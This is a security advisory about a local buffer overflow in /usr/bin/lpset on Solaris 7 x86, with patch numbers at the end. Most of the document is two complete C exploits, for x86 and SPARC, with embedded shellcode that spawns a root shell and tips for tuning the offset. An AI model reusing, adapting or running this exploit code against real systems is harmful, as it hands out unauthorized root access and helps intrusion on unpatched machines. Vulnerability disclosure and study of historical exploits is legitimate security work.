COMMAND

    /usr/bin/lpset

SYSTEMS AFFECTED

    Solaris 7 x86

PROBLEM

    Theodor  Ragnar   Gislason  found   following.    Solaris  7   x86
    /usr/bin/lpset overflow,  there is  a small  overflow(32 bytes) in
    lpset  which  will  yield  root  access  if  properly   exploited.
    There  is  a  sparc  version  avail  for  this  bug,  the  bug was
    discovered  by  duke  some  time  ago.   For  this  exploit we use
    AAAA,RET,NOP,CODE.

    /*
     *
     * solaris 2.7 lpset local exploit, i386.
     * discovered by: duke
     * not the same as on bt.
     * if exploit dosenīt work try offset from 300-450
     *
     * greets: duke, #!ADM, #!security.is, #hax
     *
     * DiGiT - teddi@linux.is
     *
    */


    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    char shellcode[] =
     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

    long get_esp() { __asm__("movl %esp,%eax"); }

    int main (int argc, char *argv[]) {

        long offset=410;
        int nop=64;
        int gab=40;
        long addr;
        char buffer[210];
        int i, a, b;

    if (argc > 1) offset = strtol(argv[1], NULL, 0);
    if (argc > 2) gab = strtol(argv[2], NULL, 0);
    if (argc > 3) nop = strtol(argv[2], NULL, 0);

       for (a = 0; a <gab; a++)
            buffer[a] = 'A';

      addr = get_esp() + offset;

      buffer[a++] = addr & 0x000000ff;
      buffer[a++] = (addr & 0x0000ff00) >> 8;
      buffer[a++] = (addr & 0x00ff0000) >> 16;
      buffer[a++] = (addr & 0xff000000) >> 24;

      for ( ; a < nop; a++)
        buffer[a] = 0x90;

      for (b = 0; b < strlen(shellcode); b++, a++)
        buffer[a] = shellcode[b];

      buffer[strlen(buffer)] = '\0';

            printf("addr = 0x%x\n", addr);
            execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);

    }

    Sparc version (lpset  variant) by Laurent  Levier(?), but not  for
    the same problem:

    #include <unistd.h>
    #include <stdio.h>

    #define BSIZE 18001
    #define OFFSET 20112
    #define START 700
    #define END 1200

    #define NOP 0xac15a16e

    #define EXSTART 116

    char sparc_shellcode[] =

    /* setreuid(0,0) */
    "\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"

    /* other stuff */
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

    u_long get_sp() { asm("mov %sp, %i0"); }

    main(int argc, char *argv[]) {
	    int i,ofs=OFFSET,start=START,end=END;
	    u_long ret, *ulp;
	    char *buf;

	    if (argc > 1) ofs=atoi(argv[1])+8;

	    if (!(buf = (char *) malloc(BSIZE+2))) {
		    fprintf(stderr, "out of memory\n");
		    exit(1);
	    }

	    ret = get_sp() - ofs;

	    for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
		    *ulp = NOP;

	    for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;

	    for (i = 0; i < strlen(sparc_shellcode); i++)
		    buf[EXSTART+i] = sparc_shellcode[i];

	    buf[5000]='=';

	    buf[18000]=0;

	    fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
		    ret, strlen(buf)-2, ofs, ofs);

	    execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);

	    perror("execl");
    }

SOLUTION

    A fix  is already  incorporated in  Solaris 8.   The patch numbers
    are:

        107115-04 for solaris 7
        106235-05 for solaris 2.6